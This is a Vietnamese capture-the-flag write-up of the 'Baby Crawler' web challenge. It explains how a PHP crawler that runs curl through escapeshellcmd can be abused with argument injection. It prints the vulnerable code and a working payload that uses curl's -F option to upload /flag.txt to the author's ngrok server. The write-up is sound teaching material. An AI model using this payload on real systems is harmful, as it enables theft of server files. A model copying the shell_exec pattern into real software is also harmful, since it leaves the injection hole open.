Web - Baby Crawler

Hello Friends =))
Số tuần này sẽ là writeup về một challenge rất hay. Bài này cũng ko phải là quá khó, có điều nếu vẫn đi theo lối mòn là phải tận dụng các kí tự ‘;’ hay ‘&’ thì sẽ khó mà có thể bypass được.
Lan man vậy thôi, bắt đầu “get our hands dirty” nào =))
Dưới đây là giao diện chính của website:

Khi click vào button ‘Crawl’, website sẽ hiển thị một đường link(“Cached File”), click vào đường link này, user sẽ được điều hướng tới giao diện chứa nội dung của trang: “Việt Nam xuất khẩu sang Mỹ Latinh một tỷ USD mỗi tháng - VnExpress Kinh doanh”.
Mình ngay lập tức liên tưởng đến SSRF, nhưng sau khi thử nhập bừa một vài payload thì kết quả không mấy khả quan.
Tiếp đến quyết định kiểm tra phần source code, mình phát hiện ra 1 đoạn comment

Truy cập vào đường dẫn: http://103.97.125.53:30767/?debug, ta phát hiện ra đây chính là đoạn code được chạy bên server-side khi ta click vào nút “Crawl”.
Chú ý vào đoạn code đưới đây:

$result = shell_exec('curl '. escapeshellcmd($url));
     $cache_file = './cache/'.md5($url);
     file_put_contents($cache_file, $result);
     $data = parse_html($cache_file); 

Vậy website này sẽ crawl web bằng lệnh curl, sau đó lưu nội dung crawl được vào một file nằm trong thư mục “./cache”.
Nếu vậy thì thay vì SSRF, ta sẽ chuyển hướng sang khai thác lỗi Command Injection. Nhưng vẫn không thu được kết quả, nguyên nhân chính là do hàm escapeshellcmd(), dùng để chặn các ký tự: &#;`|*?~<>^()[]{}$\ , \x0A và \xFF.
Như đã đề cập ở trên, ta chắc chắn không thể bypass được challenge này với lối tiếp cận theo hướng tận dụng các ký tự ‘;’ hay ‘&’, bắt buộc phải đi theo một hướng khác.
Thay vì inject một câu lệnh để server thực hiện sau khi đã thực hiện lệnh curl, ta có thể tận dụng trực tiếp câu lệnh curl để gửi nội dung của file tới một server do ta tự dựng lên. Sau một thời gian research, mình phát hiện ra curl có cung cấp option -F cho phép gửi file.
Mình sẽ dùng ngrok để tạo server đón request, trong trường hợp của mình server này sẽ có domain là: https://4706-113-185-53-154.ngrok-free.app/
Lệnh cần chạy bên server-side sẽ là: curl -F file=@/flag.txt https://4706-113-185-53-154.ngrok-free.app/. => Payload: -F file=@/flag.txt https://4706-113-185-53-154.ngrok-free.app/
Tuy nhiên sau đó ta sẽ nhận được thông báo “Only HTTP or HTTPS”, hãy quan sát đoạn code dưới đây:

if(strpos($url, 'http') !== 0 ){
     die('Only HTTP or HTTPS !');
 }

Có vẻ hơi lắt léo, nhưng chỉ cần sửa lại payload như sau: http://103.97.125.53:30767 -F file=@/flag.txt https://4706-113-185-53-154.ngrok-free.app/.
=> Lúc này server sẽ chạy câu lệnh: curl http://103.97.125.53:30767 -F file=@/flag.txt https://4706-113-185-53-154.ngrok-free.app/, thực hiện crawl từ website http://103.97.125.53:30767, rồi tiếp đó gửi file tới ngrok server.

Writeup kết thúc ở đây, mọi người cứ thoải mái góp ý nhé. FB mình ở dưới phần bình luận, các bạn có thể ib mình nếu muốn trao đổi kỹ hơn về challenge này.

3 Likes